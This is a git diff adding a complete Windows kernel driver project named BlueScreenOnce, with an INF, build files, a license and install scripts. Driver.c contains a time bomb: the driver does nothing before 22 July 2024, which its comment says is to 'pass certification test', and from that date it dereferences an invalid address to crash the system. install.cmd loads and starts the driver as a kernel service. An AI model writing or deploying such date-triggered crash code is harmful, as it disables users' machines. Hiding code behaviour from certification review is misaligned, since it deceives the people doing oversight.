diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ee9fdf3 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +.vs/* +x64/* \ No newline at end of file diff --git a/BlueScreenOnce.inf b/BlueScreenOnce.inf new file mode 100644 index 0000000..738aa62 --- /dev/null +++ b/BlueScreenOnce.inf @@ -0,0 +1,60 @@ +; +; BlueScreenOnce +; + +[Version] +Signature = "$WINDOWS NT$" +Class = System +ClassGuid = {4d36e97d-e325-11ce-bfc1-08002be10318} +Provider = %ProviderString% +CatalogFile = BlueScreenOnce.cat +DriverVer = 07/20/2024,1.1.0.0 +PnpLockdown = 1 + +[DestinationDirs] +DefaultDestDir = 12; + +; Default install sections +[DefaultInstall.NTamd64] +OptionDesc = %ServiceDescription% +CopyFiles = BlueScreenOnce.DriverFiles1 + +[DefaultInstall.NTamd64.Services] +AddService = %ServiceName%,,BlueScreenOnce.Service + +; Default uninstall sections +[DefaultUninstall.NTamd64] +LegacyUninstall = 1 +DelFiles = BlueScreenOnce.DriverFiles2 + +[DefaultUninstall.NTamd64.Services] +DelService = %ServiceName%,0x200 + +; Services Section +[BlueScreenOnce.Service] +DisplayName = %ServiceDescription% +Description = %ServiceDescription% +ServiceBinary = %12%\%DriverName%.sys +ServiceType = 1 ; SERVICE_KERNEL_DRIVER +StartType = 3 ; SERVICE_DEMAND_START +ErrorControl = 0 ; SERVICE_ERROR_IGNORE + +; Copy Files +[BlueScreenOnce.DriverFiles1] +%DriverName%.sys +[BlueScreenOnce.DriverFiles2] +%DriverName%.sys + +[SourceDisksFiles] +BlueScreenOnce.sys = 1,, + +[SourceDisksNames] +1 = %DiskId1%,,, + +; String Section +[Strings] +ProviderString = "Olli Janatuinen" +ServiceDescription = "Blue Screen Once driver" +ServiceName = "BlueScreenOnce" +DriverName = "BlueScreenOnce" +DiskId1 = "BlueScreenOnce Device Installation Disk" diff --git a/BlueScreenOnce.sln b/BlueScreenOnce.sln new file mode 100644 index 0000000..12d83d7 --- /dev/null +++ b/BlueScreenOnce.sln @@ -0,0 +1,27 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.9.34622.214 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BlueScreenOnce", "BlueScreenOnce.vcxproj", "{50F28A73-D2A8-4D1E-A781-516840A65C69}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Debug|x64.ActiveCfg = Debug|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Debug|x64.Build.0 = Debug|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Debug|x64.Deploy.0 = Debug|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Release|x64.ActiveCfg = Release|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Release|x64.Build.0 = Release|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Release|x64.Deploy.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {109AB195-84EA-461B-A8B6-872DE2B0EB8C} + EndGlobalSection +EndGlobal diff --git a/BlueScreenOnce.vcxproj b/BlueScreenOnce.vcxproj new file mode 100644 index 0000000..0f7e3dd --- /dev/null +++ b/BlueScreenOnce.vcxproj @@ -0,0 +1,64 @@ + + + + + Debug + x64 + + + Release + x64 + + + + + + + PreserveNewest + %(RecursiveDir)\BlueScreenOnce\%(Filename)%(Extension) + + + + {50F28A73-D2A8-4D1E-A781-516840A65C69} + {497e31cb-056b-4f31-abb8-447fd55ee5a5} + v4.5 + 12.0 + Release + BlueScreenOnce + + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Windows Driver + + + + DbgengKernelDebugger + true + + + + sha256 + + + true + stdcpp20 + stdc17 + Disabled + true + Neither + true + Spectre + + + + + + + + + \ No newline at end of file diff --git a/Driver.c b/Driver.c new file mode 100644 index 0000000..ab0514a --- /dev/null +++ b/Driver.c @@ -0,0 +1,54 @@ +#include + +// Pass certification test by doing nothing before Monday, July 22, 2024 +BOOLEAN IsOnOrAfterTargetDate() +{ + LARGE_INTEGER systemTime = { 0 }; + TIME_FIELDS timeFields = { 0 }; + + KeQuerySystemTime(&systemTime); + ExSystemTimeToLocalTime(&systemTime, &systemTime); + RtlTimeToTimeFields(&systemTime, &timeFields); + + if (timeFields.Year > 2024) { + return TRUE; + } + else if (timeFields.Year == 2024 && timeFields.Month > 7) { + return TRUE; + } + else if (timeFields.Year == 2024 && timeFields.Month == 7 && timeFields.Day >= 22) { + return TRUE; + } + + return FALSE; +} + +VOID DriverUnload( + _In_ PDRIVER_OBJECT DriverObject +) { + UNREFERENCED_PARAMETER(DriverObject); + return; +} + +DRIVER_INITIALIZE DriverEntry; +NTSTATUS DriverEntry( + _In_ PDRIVER_OBJECT DriverObject, + _In_ PUNICODE_STRING RegistryPath +) { + UNREFERENCED_PARAMETER(DriverObject); + UNREFERENCED_PARAMETER(RegistryPath); + DriverObject->DriverUnload = DriverUnload; + + if (IsOnOrAfterTargetDate()) { + + // Trigger BSOD by reading from an invalid memory address + volatile ULONG* p = (volatile ULONG*)0x9c; + ULONG value2 = *p; + + // Use the read value to prevent compiler optimizations + UNREFERENCED_PARAMETER(value2); + } + + return STATUS_SUCCESS; +} + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e94a533 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Olli Janatuinen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/install.cmd b/install.cmd new file mode 100644 index 0000000..d4e45d1 --- /dev/null +++ b/install.cmd @@ -0,0 +1,2 @@ +RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 %~dp0BlueScreenOnce.inf +sc start BlueScreenOnce diff --git a/uninstall.cmd b/uninstall.cmd new file mode 100644 index 0000000..6c164aa --- /dev/null +++ b/uninstall.cmd @@ -0,0 +1,5 @@ +sc stop BlueScreenOnce +sc delete BlueScreenOnce +takeown /f C:\Windows\System32\drivers\BlueScreenOnce.sys +icacls C:\Windows\System32\drivers\BlueScreenOnce.sys /grant Administrators:F +del /Q /F C:\Windows\System32\drivers\BlueScreenOnce.sys